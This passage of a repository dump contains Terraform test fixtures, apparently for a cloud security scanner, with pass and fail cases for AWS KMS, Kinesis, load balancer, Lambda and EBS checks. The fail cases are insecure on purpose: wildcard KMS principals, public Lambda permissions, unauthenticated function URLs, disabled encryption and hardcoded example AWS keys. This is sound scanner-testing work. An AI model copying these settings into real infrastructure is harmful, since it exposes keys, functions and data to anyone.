    "content": "resource \"aws_kms_key\" \"fail_0\" {\n  description = \"description\"\n  policy      = <<POLICY\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::111122223333:root\"\n      },\n      \"Action\": \"kms:*\",\n      \"Resource\": \"*\"\n    },\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"Action\": \"kms:*\",\n      \"Resource\": \"*\"\n    },   \n  ]\n}\nPOLICY  \n}\n\nresource \"aws_kms_key\" \"fail_1\" {\n  description = \"description\"\n  policy      = <<POLICY\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": [\"foo\",\"*\"],\n      \"Action\": \"kms:*\",\n      \"Resource\": \"*\"\n    }\n  ]\n}\nPOLICY  \n}\n\nresource \"aws_kms_key\" \"fail_2\" {\n  description = \"description\"\n  policy      = <<POLICY\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": \"*\",\n      \"Action\": \"kms:*\",\n      \"Resource\": \"*\"\n    }\n  ]\n}\nPOLICY  \n}\n\nresource \"aws_kms_key\" \"fail_3\" {\n  description = \"description\"\n  policy      = <<POLICY\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": [\"foo\",\"*\"],\n      \"Action\": \"kms:*\",\n      \"Resource\": \"*\"\n    }\n  ]\n}\nPOLICY  \n}\n\nresource \"aws_kms_key\" \"fail_4\" {\n  description = \"description\"\n  policy      = <<POLICY\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::111122223333:root\"\n      },\n      \"Action\": \"kms:*\",\n      \"Resource\": \"*\"\n    },\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": [ \n          \"arn:aws:iam::111122223333:root\",\n          \"*\"\n        ]\n      },\n      \"Action\": \"kms:*\",\n      \"Resource\": \"*\"\n    }   \n  ]\n}\nPOLICY  \n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_KMSKeyWildcardPrincipal/pass.tf",
    "content": "resource \"aws_kms_key\" \"pass_0\" {\n  description = \"description\"\n  policy      = <<POLICY\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::111122223333:root\"\n      },\n      \"Action\": \"kms:*\",\n      \"Resource\": \"*\"\n    }\n  ]\n}\nPOLICY  \n}\n\nresource \"aws_kms_key\" \"pass_1\" {\n  description = \"description\"\n  policy      = <<POLICY\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Deny\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"Action\": \"kms:*\",\n      \"Resource\": \"*\"\n    }\n  ]\n}\nPOLICY  \n}\n\nresource \"aws_kms_key\" \"pass_2\" {\n  description = \"description\"\n  policy      = <<POLICY\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": \"foo\",\n      \"Action\": \"kms:*\",\n      \"Resource\": \"*\"\n    }\n  ]\n}\nPOLICY  \n}\n\nresource \"aws_kms_key\" \"pass_3\" {\n  description = \"description\"\n  policy      = <<POLICY\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": [\"foo\",\"bar\"],\n      \"Action\": \"kms:*\",\n      \"Resource\": \"*\"\n    }\n  ]\n}\nPOLICY  \n}\n\nresource \"aws_kms_key\" \"pass_4\" {\n  description             = \"description\"\n\n  policy = <<POLICY\n{\n  \"Version\": \"2012-10-17\",\n  \"Id\": \"key-default-1\",\n  \"Statement\": [\n    {\n      \"Sid\": \"Enable IAM User Permissions\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::111122223333:root\"\n      },\n      \"Action\": \"kms:*\",\n      \"Resource\": \"*\",\n      \"Condition\": {\n         \"Bool\": { \"aws:MultiFactorAuthPresent\": \"true\" }\n       }\n    },\n    {\n      \"Sid\": \"RestrictWildcardPrincipalToAccount\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"Action\": \"kms:*\",\n      \"Resource\": \"*\",\n      \"Condition\": {\n         \"StringEquals\": {\n           \"kms:CallerAccount\": \"111122223333\"\n         }\n       }\n    }\n  ]\n}\nPOLICY\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_KMSRotation/main.tf",
    "content": "resource \"aws_kms_key\" \"pass1\" {\n  description             = \"KMS key 1\"\n  deletion_window_in_days = 10\n  enable_key_rotation     = true\n}\n\nresource \"aws_kms_key\" \"pass2\" {\n  description              = \"KMS key 1\"\n  deletion_window_in_days  = 10\n  customer_master_key_spec = \"SYMMETRIC_DEFAULT\"\n  enable_key_rotation      = true\n}\n\nresource \"aws_kms_key\" \"unknown1\" {\n  description              = \"KMS key 1\"\n  deletion_window_in_days  = 10\n  customer_master_key_spec = \"RSA_2048\"\n}\n\nresource \"aws_kms_key\" \"unknown2\" {\n  description              = \"KMS key 1\"\n  deletion_window_in_days  = 10\n  customer_master_key_spec = \"RSA_3072\"\n}\n\nresource \"aws_kms_key\" \"unknown2\" {\n  description              = \"KMS key 1\"\n  deletion_window_in_days  = 10\n  customer_master_key_spec = \"RSA_4096\"\n}\n\nresource \"aws_kms_key\" \"fail1\" {\n  description             = \"KMS key 1\"\n  deletion_window_in_days = 10\n}\n\nresource \"aws_kms_key\" \"fail2\" {\n  description             = \"KMS key 1\"\n  deletion_window_in_days = 10\n  enable_key_rotation     = false\n}\n\nresource \"aws_kms_key\" \"fail3\" {\n  description              = \"KMS key 1\"\n  deletion_window_in_days  = 10\n  customer_master_key_spec = \"SYMMETRIC_DEFAULT\"\n  enable_key_rotation      = false\n}\n\nresource \"aws_kms_key\" \"fail4\" {\n  description              = \"KMS key 1\"\n  deletion_window_in_days  = 10\n  customer_master_key_spec = \"SYMMETRIC_DEFAULT\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_KendraIndexSSEUsesCMK/main.tf",
    "content": "resource \"aws_kendra_index\" \"fail\" {\n  name        = \"example\"\n  description = \"example\"\n  edition     = \"DEVELOPER_EDITION\"\n  role_arn    = aws_iam_role.this.arn\n\n  tags = {\n    \"Key1\" = \"Value1\"\n  }\n}\n\nresource \"aws_kendra_index\" \"pass\" {\n  name     = \"example\"\n  role_arn = aws_iam_role.this.arn\n\n  server_side_encryption_configuration {\n    kms_key_id = data.aws_kms_key.this.arn\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_KeyspacesTableUsesCMK/main.tf",
    "content": "resource \"aws_keyspaces_table\" \"fail\" {\n  keyspace_name = aws_keyspaces_keyspace.example.name\n  table_name    = \"my_table\"\n\n  schema_definition {\n    column {\n      name = \"Message\"\n      type = \"ASCII\"\n    }\n\n    partition_key {\n      name = \"Message\"\n    }\n  }\n}\n\nresource \"aws_keyspaces_table\" \"fail2\" {\n  keyspace_name = aws_keyspaces_keyspace.example.name\n  table_name    = \"my_table\"\n\n  schema_definition {\n    column {\n      name = \"Message\"\n      type = \"ASCII\"\n    }\n\n    partition_key {\n      name = \"Message\"\n    }\n  }\n  encryption_specification {\n    type=\"AWS_OWNED_KMS_KEY\"\n  }\n}\n\n\nresource \"aws_keyspaces_table\" \"fail3\" {\n  keyspace_name = aws_keyspaces_keyspace.example.name\n  table_name    = \"my_table\"\n\n  schema_definition {\n    column {\n      name = \"Message\"\n      type = \"ASCII\"\n    }\n\n    partition_key {\n      name = \"Message\"\n    }\n  }\n  encryption_specification {\n    kms_key_identifier=aws_kms_key.example.arn\n    type=\"AWS_OWNED_KMS_KEY\"\n  }\n}\n\nresource \"aws_keyspaces_table\" \"pass\" {\n  keyspace_name = aws_keyspaces_keyspace.example.name\n  table_name    = \"my_table\"\n\n  schema_definition {\n    column {\n      name = \"Message\"\n      type = \"ASCII\"\n    }\n\n    partition_key {\n      name = \"Message\"\n    }\n  }\n  encryption_specification {\n    kms_key_identifier=aws_kms_key.example.arn\n    type=\"CUSTOMER_MANAGED_KMS_KEY\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_KinesisFirehoseDeliveryStreamSSE/main.tf",
    "content": "resource \"aws_kinesis_firehose_delivery_stream\" \"ignore\" {\n  name        = \"terraform-kinesis-firehose-test-stream\"\n  destination = \"s3\"\n\n  kinesis_source_configuration {\n    kinesis_stream_arn = \"\"\n    role_arn           = \"\"\n  }\n\n  tags = {\n    test = \"failed\"\n  }\n}\n\n# fails default is off\nresource \"aws_kinesis_firehose_delivery_stream\" \"fail\" {\n  name        = \"terraform-kinesis-firehose-test-stream\"\n  destination = \"s3\"\n\n  s3_configuration {\n    role_arn   = aws_iam_role.firehose_role.arn\n    bucket_arn = aws_s3_bucket.bucket.arn\n  }\n\n  # server_side_encryption {\n  # enabled=true #default is false\n  # key_type=\"CUSTOMER_MANAGED_CMK\"\n  # key_arn=aws_kms_kmy.example.arn\n  # }\n  tags = {\n    test = \"failed\"\n  }\n}\n\nresource \"aws_kinesis_firehose_delivery_stream\" \"fail2\" {\n  name        = \"terraform-kinesis-firehose-test-stream\"\n  destination = \"s3\"\n\n  s3_configuration {\n    role_arn   = aws_iam_role.firehose_role.arn\n    bucket_arn = aws_s3_bucket.bucket.arn\n  }\n\n  server_side_encryption {\n    enabled = false #default is false\n  }\n  tags = {\n    test = \"failed\"\n  }\n}\n\nresource \"aws_kinesis_firehose_delivery_stream\" \"pass\" {\n  name        = \"terraform-kinesis-firehose-test-stream\"\n  destination = \"s3\"\n\n  s3_configuration {\n    role_arn   = aws_iam_role.firehose_role.arn\n    bucket_arn = aws_s3_bucket.bucket.arn\n  }\n\n  server_side_encryption {\n    enabled = true #default is false\n  }\n  tags = {\n    test = \"failed\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_KinesisFirehoseDeliveryStreamUsesCMK/main.tf",
    "content": "resource \"aws_kinesis_firehose_delivery_stream\" \"ignore\" {\n  name        = \"terraform-kinesis-firehose-test-stream\"\n  destination = \"s3\"\n\nkinesis_source_configuration {\n  kinesis_stream_arn = \"\"\n  role_arn           = \"\"\n}\n\n  # server_side_encryption {\n    # enabled=true #default is false\n    # key_type=\"CUSTOMER_MANAGED_CMK\"\n    # key_arn=aws_kms_kmy.example.arn\n  # }\n  tags = {\n    test = \"failed\"\n  }\n}\n\n\n# fails default is off\nresource \"aws_kinesis_firehose_delivery_stream\" \"fail\" {\n  name        = \"terraform-kinesis-firehose-test-stream\"\n  destination = \"s3\"\n\n  s3_configuration {\n    role_arn   = aws_iam_role.firehose_role.arn\n    bucket_arn = aws_s3_bucket.bucket.arn\n  }\n\n  # server_side_encryption {\n    # enabled=true #default is false\n    # key_type=\"CUSTOMER_MANAGED_CMK\"\n    # key_arn=aws_kms_kmy.example.arn\n  # }\n  tags = {\n    test = \"failed\"\n  }\n}\n\n#not enabled\nresource \"aws_kinesis_firehose_delivery_stream\" \"fail2\" {\n  name        = \"terraform-kinesis-firehose-test-stream\"\n  destination = \"s3\"\n\n  s3_configuration {\n    role_arn   = aws_iam_role.firehose_role.arn\n    bucket_arn = aws_s3_bucket.bucket.arn\n  }\n\n   server_side_encryption {\n    # enabled=true #default is false\n    # key_type=\"CUSTOMER_MANAGED_CMK\"\n    # key_arn=aws_kms_kmy.example.arn\n   }\n  tags = {\n    test = \"failed\"\n  }\n}\n\n#key_type not set\nresource \"aws_kinesis_firehose_delivery_stream\" \"fail3\" {\n  name        = \"terraform-kinesis-firehose-test-stream\"\n  destination = \"s3\"\n\n  s3_configuration {\n    role_arn   = aws_iam_role.firehose_role.arn\n    bucket_arn = aws_s3_bucket.bucket.arn\n  }\n\n   server_side_encryption {\n     enabled=true\n     key_arn = \"\"\n   }\n  tags = {\n    test = \"failed\"\n  }\n}\n\n#wrong type\nresource \"aws_kinesis_firehose_delivery_stream\" \"fail4\" {\n  name        = \"terraform-kinesis-firehose-test-stream\"\n  destination = \"s3\"\n\n  s3_configuration {\n    role_arn   = aws_iam_role.firehose_role.arn\n    bucket_arn = aws_s3_bucket.bucket.arn\n  }\n\n   server_side_encryption {\n     enabled=true\n     key_type = \"AWS_OWNED_CMK\"\n     key_arn = \"\"\n   }\n  tags = {\n    test = \"failed\"\n  }\n}\n\n#no key\nresource \"aws_kinesis_firehose_delivery_stream\" \"fail5\" {\n  name        = \"terraform-kinesis-firehose-test-stream\"\n  destination = \"s3\"\n\n  s3_configuration {\n    role_arn   = aws_iam_role.firehose_role.arn\n    bucket_arn = aws_s3_bucket.bucket.arn\n  }\n\n   server_side_encryption {\n     enabled=true\n     key_type = \"CUSTOMER_MANAGED_CMK\"\n     key_arn = \"\"\n   }\n  tags = {\n    test = \"failed\"\n  }\n}\n\n#missing key\nresource \"aws_kinesis_firehose_delivery_stream\" \"fail6\" {\n  name        = \"terraform-kinesis-firehose-test-stream\"\n  destination = \"s3\"\n\n  s3_configuration {\n    role_arn   = aws_iam_role.firehose_role.arn\n    bucket_arn = aws_s3_bucket.bucket.arn\n  }\n\n   server_side_encryption {\n     enabled=true\n     key_type = \"CUSTOMER_MANAGED_CMK\"\n   }\n  tags = {\n    test = \"failed\"\n  }\n}\n\nresource \"aws_kinesis_firehose_delivery_stream\" \"pass\" {\n  name        = \"terraform-kinesis-firehose-test-stream\"\n  destination = \"s3\"\n\n  s3_configuration {\n    role_arn   = aws_iam_role.firehose_role.arn\n    bucket_arn = aws_s3_bucket.bucket.arn\n  }\n\n   server_side_encryption {\n     enabled=true #default is false\n     key_type = \"CUSTOMER_MANAGED_CMK\"\n     key_arn = aws_kms_key.example.arn\n   }\n  tags = {\n    test = \"failed\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_KinesisStreamEncryptedWithCMK/aws_kinesis_stream.tf",
    "content": "resource \"aws_kinesis_stream\" \"pass\" {\n  name            = \"test_stream-%[1]d\"\n  shard_count     = 1\n  encryption_type = \"KMS\"\n  kms_key_id      = aws_kms_key.sse_aws_kms_key_id.id\n}\n\nresource \"aws_kinesis_stream\" \"fail\" {\n  name            = \"test_stream-%[1]d\"\n  shard_count     = 1\n  encryption_type = \"KMS\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_KinesisStreamEncryptionType/main.tf",
    "content": "# pass\n\nresource \"aws_kinesis_stream\" \"enabled\" {\n  name        = \"example\"\n  shard_count = 1\n\n  encryption_type = \"KMS\"\n}\n\n# fail\n\nresource \"aws_kinesis_stream\" \"default\" {\n  name        = \"example\"\n  shard_count = 1\n}\n\nresource \"aws_kinesis_stream\" \"disabled\" {\n  name        = \"example\"\n  shard_count = 1\n\n  encryption_type = \"NONE\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_KinesisVideoEncryptedWithCMK/aws_kinesis_video_stream.tf",
    "content": "resource \"aws_kinesis_video_stream\" \"pass\" {\n  name = \"terraform-kinesis-video-stream-test\"\n\n  data_retention_in_hours = 1\n  device_name             = \"kinesis-video-device-name\"\n  kms_key_id              = aws_kms_key.default.id\n}\n\nresource \"aws_kinesis_video_stream\" \"fail\" {\n  name = \"terraform-kinesis-video-stream-test\"\n\n  data_retention_in_hours = 1\n  device_name             = \"kinesis-video-device-name\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_LBCrossZone/main.tf",
    "content": "# pass\n\nresource \"aws_lb\" \"enabled\" {\n  internal           = false\n  load_balancer_type = \"network\"\n  name               = \"nlb\"\n  subnets            = var.public_subnet_ids\n\n  enable_cross_zone_load_balancing = true\n}\n\nresource \"aws_alb\" \"enabled\" {\n  load_balancer_type = \"gateway\"\n  name               = \"glb\"\n\n  enable_cross_zone_load_balancing = true\n\n  subnet_mapping {\n    subnet_id = var.subnet_id\n  }\n}\n\n# failure\n\nresource \"aws_lb\" \"default\" {\n  internal           = false\n  load_balancer_type = \"network\"\n  name               = \"nlb\"\n  subnets            = var.public_subnet_ids\n}\n\nresource \"aws_alb\" \"default\" {\n  load_balancer_type = \"gateway\"\n  name               = \"glb\"\n\n  subnet_mapping {\n    subnet_id = var.subnet_id\n  }\n}\n\nresource \"aws_lb\" \"disabled\" {\n  internal           = false\n  load_balancer_type = \"network\"\n  name               = \"nlb\"\n  subnets            = var.public_subnet_ids\n\n  enable_cross_zone_load_balancing = false\n}\n\nresource \"aws_alb\" \"disabled\" {\n  load_balancer_type = \"gateway\"\n  name               = \"glb\"\n\n  enable_cross_zone_load_balancing = false\n\n  subnet_mapping {\n    subnet_id = var.subnet_id\n  }\n}\n\n# unknown\n\nresource \"aws_lb\" \"application\" {\n  internal           = false\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n}\n\nresource \"aws_lb\" \"default_type\" {\n  internal = false\n  name     = \"alb\"\n  subnets  = var.public_subnet_ids\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_LBDeletionProtection/main.tf",
    "content": "# pass\n\nresource \"aws_lb\" \"enabled\" {\n  internal           = false\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n\n  enable_deletion_protection = true\n}\n\nresource \"aws_alb\" \"enabled\" {\n  internal           = false\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n\n  enable_deletion_protection = true\n}\n\n# failure\n\nresource \"aws_lb\" \"default\" {\n  internal           = false\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n}\n\nresource \"aws_alb\" \"default\" {\n  internal           = false\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n}\n\nresource \"aws_lb\" \"disabled\" {\n  internal           = false\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n\n  enable_deletion_protection = false\n}\n\nresource \"aws_alb\" \"disabled\" {\n  internal           = false\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n\n  enable_deletion_protection = false\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_LBTargetGroupDefinesHealthcheck/main.tf",
    "content": "\nresource \"aws_lb_target_group\" \"fail\" {\n  name     = \"tf-example-lb-tg\"\n  port     = 80\n  protocol = \"HTTP\"\n  vpc_id   = aws_vpc.main.id\n  health_check {\n    enabled=false  # trigger- defaults to true\n  }\n}\n\nresource \"aws_lb_target_group\" \"fail2\" {\n  name     = \"tf-example-lb-tg\"\n  port     = 80\n  protocol = \"HTTP\"\n  vpc_id   = aws_vpc.main.id\n}\n\nresource \"aws_lb_target_group\" \"fail3\" {\n  name     = \"tf-example-lb-tg\"\n  port     = 80\n  protocol = \"HTTP\"\n  vpc_id   = aws_vpc.main.id\n  health_check = [{}]\n}\n\nresource \"aws_vpc\" \"main\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\nresource \"aws_alb_target_group\" \"pass\" {\n  name = \"target-group-1\"\n  port = 80\n  protocol = \"HTTP\"\n\n  health_check {\n    path = \"/api/1/resolve/default?path=/service/my-service\"\n    port = 2001\n    healthy_threshold = 6\n    unhealthy_threshold = 2\n    timeout = 2\n    interval = 5\n    matcher = \"200\"  # has to be HTTP 200 or fails\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_LambdaCodeSigningConfigured/main.tf",
    "content": "# pass\n\nresource \"aws_lambda_function\" \"pass\" {\n  function_name = \"test-env\"\n  role          = \"\"\n  runtime       = \"python3.9\"\n  code_signing_config_arn = \"123123123\"\n}\n\n# fail\n\nresource \"aws_lambda_function\" \"fail\" {\n  function_name = \"stest-env\"\n  role          = \"\"\n  runtime       = \"python3.9\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_LambdaEnvironmentCredentials/main.tf",
    "content": "# pass\n\nresource \"aws_lambda_function\" \"pass\" {\n  function_name = \"test-env\"\n  role          = \"\"\n  runtime       = \"python3.9\"\n\n  environment {\n    variables = {\n      AWS_DEFAULT_REGION = \"us-west-2\"\n    }\n  }\n}\n\nresource \"aws_lambda_function\" \"no_env\" {\n  function_name = \"test-env\"\n  role          = \"\"\n  runtime       = \"python3.9\"\n}\n\n# fail\n\nresource \"aws_lambda_function\" \"fail\" {\n  function_name = \"stest-env\"\n  role          = \"\"\n  runtime       = \"python3.9\"\n\n  environment {\n    variables = {\n      AWS_ACCESS_KEY_ID     = \"AKIAIOSFODNN7EXAMPLE\",  # checkov:skip=CKV_SECRET_2 test secret\n      AWS_SECRET_ACCESS_KEY = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",  # checkov:skip=CKV_SECRET_2 test secret\n      AWS_DEFAULT_REGION    = \"us-west-2\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_LambdaEnvironmentEncryptionSettings/main.tf",
    "content": "resource \"aws_lambda_function\" \"fail\" {\n  function_name                  = var.function_name\n  role                           = aws_iam_role.lambda-messageprocessor.arn\n  runtime                        = \"python3.6\"\n  handler                        = \"handler.lambda_handler\"\n  filename                       = data.archive_file.notify.output_path\n  source_code_hash               = data.archive_file.notify.output_base64sha256\n  reserved_concurrent_executions = var.concurrency\n  tracing_config {\n    mode = \"PassThrough\"\n  }\n  environment {\n    test = \"true\"\n  }\n}\n\nresource \"aws_lambda_function\" \"failkmsnovars\" {\n  function_name                  = var.function_name\n  role                           = aws_iam_role.lambda-messageprocessor.arn\n  runtime                        = \"python3.6\"\n  handler                        = \"handler.lambda_handler\"\n  filename                       = data.archive_file.notify.output_path\n  source_code_hash               = data.archive_file.notify.output_base64sha256\n  reserved_concurrent_executions = var.concurrency\n  tracing_config {\n    mode = \"PassThrough\"\n  }\n  kms_key_arn = aws_kms_key.anyoldguff.arn\n}\n\nresource \"aws_lambda_function\" \"ignore\" {\n  function_name                  = var.function_name\n  role                           = aws_iam_role.lambda-messageprocessor.arn\n  runtime                        = \"python3.6\"\n  handler                        = \"handler.lambda_handler\"\n  filename                       = data.archive_file.notify.output_path\n  source_code_hash               = data.archive_file.notify.output_base64sha256\n  reserved_concurrent_executions = var.concurrency\n  tracing_config {\n    mode = \"PassThrough\"\n  }\n}\n\nresource \"aws_lambda_function\" \"pass\" {\n  function_name                  = var.function_name\n  role                           = aws_iam_role.lambda-messageprocessor.arn\n  runtime                        = \"python3.6\"\n  handler                        = \"handler.lambda_handler\"\n  filename                       = data.archive_file.notify.output_path\n  source_code_hash               = data.archive_file.notify.output_base64sha256\n  reserved_concurrent_executions = var.concurrency\n  tracing_config {\n    mode = \"PassThrough\"\n  }\n  environment {\n    test = \"true\"\n  }\n  kms_key_arn = aws_kms_key.anyoldguff.arn\n}\n\nresource \"aws_lambda_function\" \"failasempty\" {\n  function_name                  = var.function_name\n  role                           = aws_iam_role.lambda-messageprocessor.arn\n  runtime                        = \"python3.6\"\n  handler                        = \"handler.lambda_handler\"\n  filename                       = data.archive_file.notify.output_path\n  source_code_hash               = data.archive_file.notify.output_base64sha256\n  reserved_concurrent_executions = var.concurrency\n  tracing_config {\n    mode = \"PassThrough\"\n  }\n  kms_key_arn = \"\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_LambdaFunctionIsNotPublic/main.tf",
    "content": "resource \"aws_lambda_permission\" \"fail\" {\n  statement_id  = \"AllowExecutionFromCloudWatch\"\n  action        = \"lambda:InvokeFunction\"\n  function_name = aws_lambda_function.test_lambda.function_name\n  principal     = \"*\"\n  source_arn    = \"arn:aws:events:eu-west-1:111122223333:rule/RunDaily\"\n  qualifier     = aws_lambda_alias.test_alias.name\n}\n\nresource \"aws_lambda_permission\" \"pass\" {\n  statement_id  = \"AllowExecutionFromCloudWatch\"\n  action        = \"lambda:InvokeFunction\"\n  function_name = aws_lambda_function.test_lambda.function_name\n  principal     = \"arn:aws:iam::444455556666:role/example\"\n  source_arn    = \"arn:aws:events:eu-west-1:111122223333:rule/RunDaily\"\n  qualifier     = aws_lambda_alias.test_alias.name\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_LambdaFunctionURLAuth/main.tf",
    "content": "resource \"aws_lambda_function_url\" \"fail\" {\n  function_name      = aws_lambda_function.test.function_name\n  authorization_type = \"NONE\"\n}\n\nresource \"aws_lambda_function_url\" \"pass\" {\n  function_name      = aws_lambda_function.test.function_name\n  qualifier          = \"my_alias\"\n  authorization_type = \"AWS_IAM\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_LambdaServicePermission/LambdaServicePermission.tf",
    "content": "## SHOULD PASS: This permission specifies a source_arn, therefore is not globally available.\nresource \"aws_lambda_permission\" \"ckv_unittest_pass_source_arn\" {\n    statement_id  = \"AllowMyDemoAPIInvoke\"\n    action        = \"lambda:InvokeFunction\"\n    function_name = \"MyDemoFunction\"\n    principal     = \"apigateway.amazonaws.com\"\n\n    # The /*/*/* part allows invocation from any stage, method and resource path\n    # within API Gateway REST API.\n    source_arn = \"${aws_api_gateway_rest_api.MyDemoAPI.execution_arn}/*/*/*\"\n}\n\n## SHOULD PASS: This permission specifies a source_account, therefore is not globally available.\nresource \"aws_lambda_permission\" \"ckv_unittest_pass_source_account\" {\n    statement_id  = \"AllowMyDemoAPIInvoke\"\n    action        = \"lambda:InvokeFunction\"\n    function_name = \"MyDemoFunction\"\n    principal     = \"apigateway.amazonaws.com\"\n\n    source_account = \"901234678\"\n}\n\n## SHOULD UNKNOWN: This permission specifies a principal as an account ID.\nresource \"aws_lambda_permission\" \"ckv_unittest_unknown_principal\" {\n    statement_id  = \"AllowMyDemoAPIInvoke\"\n    action        = \"lambda:InvokeFunction\"\n    function_name = \"MyDemoFunction\"\n    principal     = \"901234678\"\n}\n\n## SHOULD FAIL: This allows any serviceprincpal across all accounts to access\nresource \"aws_lambda_permission\" \"ckv_unittest_fail\" {\n    statement_id  = \"AllowMyDemoAPIInvoke\"\n    action        = \"lambda:InvokeFunction\"\n    function_name = \"MyDemoFunction\"\n    principal     = \"apigateway.amazonaws.com\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_LambdaXrayEnabled/main.tf",
    "content": "# pass\n\nresource \"aws_lambda_function\" \"active\" {\n  function_name = \"test-env\"\n  role          = \"\"\n  runtime       = \"python3.9\"\n\n  tracing_config {\n    mode = \"Active\"\n  }\n}\n\nresource \"aws_lambda_function\" \"pass_through\" {\n  function_name = \"test-env\"\n  role          = \"\"\n  runtime       = \"python3.9\"\n\n  tracing_config {\n    mode = \"PassThrough\"\n  }\n}\n\n# fail\n\nresource \"aws_lambda_function\" \"default\" {\n  function_name = \"test-env\"\n  role          = \"\"\n  runtime       = \"python3.9\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_LaunchConfigurationEBSEncryption/main.tf",
    "content": "resource \"aws_instance\" \"fail\" {\n  image_id      = \"ami-123\"\n  instance_type = \"t2.micro\"\n  root_block_device {\n    encrypted = False\n  }\n}\n\nresource \"aws_instance\" \"fail2\" {\n  image_id      = \"ami-123\"\n  instance_type = \"t2.micro\"\n  root_block_device {}\n}\n\nresource \"aws_instance\" \"fail3\" {\n  ami           = var.ami_id\n  instance_type = var.instance_type\n  key_name      = var.key_name\n\n  root_block_device {\n    volume_type = \"gp2\"\n    volume_size = var.root_volume_size\n    encrypted   = true\n  }\n\n\n  ebs_block_device {\n    volume_type = \"gp2\"\n    volume_size = var.ebs_volume_size\n    device_name = \"/dev/xvdb\"\n    encrypted   = false\n  }\n}\n\nresource \"aws_instance\" \"fail4\" {\n  ami           = var.ami_id\n  instance_type = var.instance_type\n  key_name      = var.key_name\n\n  ebs_block_device {\n    volume_type = \"gp2\"\n    volume_size = var.ebs_volume_size\n    device_name = \"/dev/xvdb\"\n    encrypted   = false\n  }\n}\n\nresource \"aws_instance\" \"fail5\" {\n  ami           = var.ami_id\n  instance_type = var.instance_type\n  key_name      = var.key_name\n}\n\n# empty array defaults\n\nvariable \"empty_list\" {\n  default = []\n}\n\nresource \"aws_instance\" \"fail_empty_root_list\" {\n  image_id      = \"ami-123\"\n  instance_type = \"t2.micro\"\n\n  root_block_device = var.empty_list\n}\n\nresource \"aws_instance\" \"unknown_empty_ebs_list\" {\n  image_id      = \"ami-123\"\n  instance_type = \"t2.micro\"\n\n  root_block_device = {\n    volume_type = \"gp2\"\n    volume_size = var.root_volume_size\n    encrypted   = true\n  }\n\n  ebs_block_device = var.empty_list\n}\n\n# pass\n\nresource \"aws_instance\" \"pass\" {\n  ami           = var.ami_id\n  instance_type = var.instance_type\n  key_name      = var.key_name\n\n  root_block_device {\n    volume_type = \"gp2\"\n    volume_size = var.root_volume_size\n    snapshot_id = \"snap-1234\"\n  }\n}\nresource \"aws_instance\" \"pass2\" {\n  ami           = var.ami_id\n  instance_type = var.instance_type\n  key_name      = var.key_name\n\n  root_block_device {\n    volume_type = \"gp2\"\n    volume_size = var.root_volume_size\n    encrypted   = true\n  }\n}\n\nresource \"aws_instance\" \"pass3\" {\n  ami           = var.ami_id\n  instance_type = var.instance_type\n  key_name      = var.key_name\n\n  ebs_block_device {\n    volume_type = \"gp2\"\n    volume_size = var.ebs_volume_size\n    device_name = \"/dev/xvdb\"\n    encrypted   = true\n  }\n\n  root_block_device {\n    volume_type = \"gp2\"\n    